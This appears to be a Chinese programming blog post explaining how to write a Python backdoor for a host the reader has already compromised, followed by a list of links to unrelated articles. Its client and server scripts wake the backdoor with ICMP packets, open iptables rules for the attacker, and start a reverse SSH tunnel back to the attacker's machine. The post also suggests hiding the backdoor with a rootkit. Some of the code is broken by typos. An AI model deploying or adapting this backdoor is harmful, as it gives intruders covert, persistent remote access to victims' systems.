用Python编写一个简单的CS架构后门的方法


Posted in Python onNovember 20, 2018

0x00:事先说明

  • 你已经攻陷了对方主机且获得了最高权限。
  • 对方的本地防火墙会丢弃所有的外来数据包。
  • 这个后门不会仅绑定在某一个端口上。
  • 这段代码很容易写,毕竟是 Python(准确说是 Python 2.x)。

0x01:工作原理

用Python编写一个简单的CS架构后门的方法

如你所见,客户端将伪造具有 ICMP 负载的特定数据包,另一方面在服务端,也就是我们的被攻击主机,将会接受我们发送的数据包,即使它开启了本地的防火墙(丢弃所有外来数据包)。关键在于无线网卡的监听模式,它无需和 AP 建立连接却可以和接受所有流经空气的数据包。

我们会用到一个有用的第三方包 Scapy。这是它的官方文档。如果你是第一次使用,不妨参考这篇文章,也许会有帮助。

0x02:客户端代码

'''
客户端代码。将服务端的 IP 地址、客户端的 IP 地址、客户端的连接端口,以及连接所需密码作为程序输入。如果成功返回一个交互式后门,在代码硬编码好的位置写入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函数工作在协议栈的第三层(网络层)

0x04:服务端代码

服务端代码分为两块:1. 主要脚本部分、2. ssh 隧道部分。

'''
服务端代码之主要脚本部分。这个脚本会监听 ICMP 数据包并从句法上分析其携带的数据部分(客户端 IP 地址、客户端连接端口、连接所需密码)。接着在本地打开两个新的防火墙规则。最后调用另一个 expect 脚本,以建立和客户端之间稳定的 ssh 连接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模块,允许用户编写代码生成新进程,连接到它们的 input/output/error 管道,并获取它们的返回/状态码。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函数会嗅探来自空气中的数据包,prn 参数用来指定回调函数,每当符合 filter 的报文被探测到时,就会执行回调函数。有关该函数的详细信息,可以参考这篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服务端代码之 ssh 隧道部分,实际上是一个简单的 expect 脚本。接受嗅探到的客户端 IP 地址、客户端端口,以及用于连接的密码作为输入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后门代码待完善的地方。

  • ICMP payload 应该被编码。
  • 添加其他的协议用来唤醒该后门(如 http、特定的 syn 包、dns 等)。
  • 写一个 rootkit,隐藏该后门,猥琐欲为。此乃后话。

有关 rootkit 的延伸阅读。

  • https://3water.com/article/151111.htm
  • https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python实现在pickling的时候压缩的方法
Sep 25 Python
Python编程入门之Hello World的三种实现方式
Nov 13 Python
Python协程的用法和例子详解
Sep 09 Python
浅谈python中拼接路径os.path.join斜杠的问题
Oct 23 Python
Django使用paginator插件实现翻页功能的实例
Oct 24 Python
在python中使用requests 模拟浏览器发送请求数据的方法
Dec 26 Python
对python mayavi三维绘图的实现详解
Jan 08 Python
对python dataframe逻辑取值的方法详解
Jan 30 Python
python numpy 反转 reverse示例
Dec 04 Python
python 代码实现k-means聚类分析的思路(不使用现成聚类库)
Jun 01 Python
python 写一个性能测试工具(一)
Oct 24 Python
Python实现简繁体转换
Jun 07 Python
python pygame实现2048游戏
Nov 20 #Python
python pygame模块编写飞机大战
Nov 20 #Python
Python Scapy随心所欲研究TCP协议栈
Nov 20 #Python
python版飞机大战代码分享
Nov 20 #Python
pygame实现雷电游戏雏形开发
Nov 20 #Python
pygame游戏之旅 游戏中添加显示文字
Nov 20 #Python
pygame游戏之旅 添加键盘按键的方法
Nov 20 #Python
You might like
PHP如何解决网站大流量与高并发的问题
2011/06/25 PHP
PHP将DateTime对象转化为友好时间显示的实现代码
2011/09/20 PHP
深入解析php之apc
2013/05/15 PHP
jquery 必填项判断表单是否为空的方法
2008/09/14 Javascript
javascript小数计算出现近似值的解决办法
2010/02/06 Javascript
解析JavaScript中delete操作符不能删除的对象
2013/12/03 Javascript
jQuery实现点击小图片淡入淡出显示大图片特效
2015/09/09 Javascript
微信小程序 常用工具类详解及实例
2017/02/15 Javascript
jquery.masonry瀑布流效果
2017/05/25 jQuery
node打造微信个人号机器人的方法示例
2018/04/26 Javascript
微信小程序学习笔记之登录API与获取用户信息操作图文详解
2019/03/29 Javascript
JS开发自己的类库实例分析
2019/08/28 Javascript
element-ui中按需引入的实现
2019/12/25 Javascript
koa2的中间件功能及应用示例
2020/03/05 Javascript
vue修改Element的el-table样式的4种方法
2020/09/17 Javascript
Vue路由权限控制解析
2020/11/09 Javascript
vue从后台渲染文章列表以及根据id跳转文章详情详解
2020/12/14 Vue.js
[02:54]辉夜杯主赛事第二日败者组 iG.V赛后采访
2015/12/26 DOTA
[05:26]TI10典藏宝瓶套装外观展示
2020/07/03 DOTA
零基础写python爬虫之爬虫的定义及URL构成
2014/11/04 Python
浅谈Python traceback的优雅处理
2018/08/31 Python
Django中使用Celery的方法示例
2018/11/29 Python
利用Django模版生成树状结构实例代码
2019/05/19 Python
Python使用lambda表达式对字典排序操作示例
2019/07/25 Python
基于tensorflow指定GPU运行及GPU资源分配的几种方式小结
2020/02/03 Python
泰国办公用品购物网站:OfficeMate
2018/02/04 全球购物
秋季运动会通讯稿
2014/01/24 职场文书
运动会开幕式邀请函
2014/02/03 职场文书
医生爱岗敬业演讲稿
2014/08/26 职场文书
2014年党员教师自我剖析材料
2014/09/30 职场文书
初中毕业生自我评价
2015/03/02 职场文书
给病人的慰问信
2015/03/23 职场文书
工程部岗位职责范本
2015/04/11 职场文书
2015年端午节活动方案
2015/05/05 职场文书
2019学子的答谢词范本!
2019/07/05 职场文书
nginx基于域名,端口,不同IP的虚拟主机设置的实现
2021/03/31 Servers